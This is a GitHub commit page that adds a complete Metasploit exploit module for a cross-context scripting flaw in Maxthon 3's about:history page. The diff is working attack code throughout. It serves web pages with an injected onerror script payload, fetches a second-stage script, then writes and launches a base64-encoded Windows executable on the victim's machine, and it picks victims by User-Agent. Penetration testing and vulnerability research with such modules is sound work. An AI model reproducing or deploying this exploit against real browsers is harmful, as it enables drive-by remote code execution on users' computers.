Skip to content

Commit 901ef50

Browse files
committed
Merge branch 'maxthon' of git://github.com/wchen-r7/metasploit-framework into wchen-r7-maxthon
2 parents 6917710 + 3f1cfcc commit 901ef50

File tree

1 file changed

+141
-0
lines changed

1 file changed

+141
-0
lines changed
Lines changed: 141 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,141 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
9+
require 'msf/core'
10+
11+
class Metasploit3 < Msf::Exploit::Remote
12+
Rank = ExcellentRanking
13+
14+
include Msf::Exploit::Remote::HttpServer::HTML
15+
include Msf::Exploit::EXE
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => 'Maxthon3 about:history XCS Trusted Zone Code Execution',
20+
'Description' => %q{
21+
Cross Context Scripting (XCS) is possible in the Maxthon about:history page.
22+
Injection in such privileged/trusted browser zone can be used to modify
23+
configuration settings and execute arbitrary commands.
24+
25+
Please note this module only works against specific versions of XCS. Currently,
26+
we've only successfully tested on Maxthon 3.1.7 build 600 up to 3.2.2 build 1000.
27+
},
28+
'License' => MSF_LICENSE,
29+
'Author' =>
30+
[
31+
'Roberto Suggi Liverani', # Discovered the vulnerability and developed msf module
32+
'sinn3r', # msf module
33+
'juan vazquez' # msf module
34+
],
35+
'References' =>
36+
[
37+
['URL', 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html']
38+
],
39+
'Payload' =>
40+
{
41+
'DisableNops' => true
42+
},
43+
'Platform' => 'win',
44+
'Targets' =>
45+
[
46+
['Maxthon 3 (prior to 3.3) on Windows', {} ]
47+
],
48+
'DisclosureDate' => 'Nov 26 2012',
49+
'DefaultTarget' => 0
50+
))
51+
end
52+
53+
def on_request_uri(cli, request)
54+
if request.headers['User-agent'] !~ /Maxthon\/3/ or request.headers['User-agent'] !~ /AppleWebKit\/534.12/
55+
print_status("Sending 404 for User-Agent #{request.headers['User-agent']}")
56+
send_not_found(cli)
57+
return
58+
end
59+
60+
html_hdr = %Q|
61+
<html>
62+
<head>
63+
<title>Loading</title>
64+
|
65+
66+
html_ftr = %Q|
67+
</head>
68+
<body >
69+
<h1>Loading</h1>
70+
</body></html>
71+
|
72+
73+
case request.uri
74+
when /\?jspayload/
75+
p = regenerate_payload(cli)
76+
if (p.nil?)
77+
send_not_found(cli)
78+
return
79+
end
80+
# We're going to run this through unescape(), so make sure
81+
# everything is encoded
82+
penc = generate_payload_exe
83+
penc2 = Rex::Text.encode_base64(penc)
84+
85+
# now this is base64 encoded payload which needs to be passed to the file write api in maxthon.
86+
# Then file can be launched via Program DOM API, because of this only Maxthon 3.1 versions are targeted.
87+
# The Program DOM API isn't available on Maxthon 3.2 and upper versions.
88+
content = %Q|
89+
if(maxthon.program)
90+
{
91+
var fileTemp = new maxthon.io.File.createTempFile("test","exe");
92+
var fileObj = maxthon.io.File(fileTemp);
93+
maxthon.io.FileWriter(fileTemp);
94+
maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{penc2}");
95+
maxthon.program.Program.launch(fileTemp.name_,"C:");
96+
}
97+
|
98+
99+
when /\?history/
100+
js = %Q|
101+
window.onload = function() {
102+
location.href = "about:history";
103+
}
104+
|
105+
106+
content = %Q|
107+
#{html_hdr}
108+
<script>
109+
#{js}
110+
</script>
111+
#{html_ftr}
112+
|
113+
114+
when get_resource()
115+
print_status("Sending #{self.name} payload for request #{request.uri}")
116+
117+
js = %Q|
118+
url = location.href;
119+
url2 = url + "?jspayload=1";
120+
inj = "?history#%22/><img src=a onerror=%22"
121+
inj_1 = "a=document.createElement('script');a.setAttribute('src','"+url2+"');document.body.appendChild(a);";
122+
window.location = unescape(inj) + inj_1;
123+
|
124+
125+
content = %Q|
126+
#{html_hdr}
127+
<script>
128+
#{js}
129+
</script>
130+
#{html_ftr}
131+
|
132+
else
133+
print_status("Sending 404 for request #{request.uri}")
134+
send_not_found(cli)
135+
return
136+
end
137+
138+
send_response_html(cli, content)
139+
end
140+
141+
end

0 commit comments

Comments
 (0)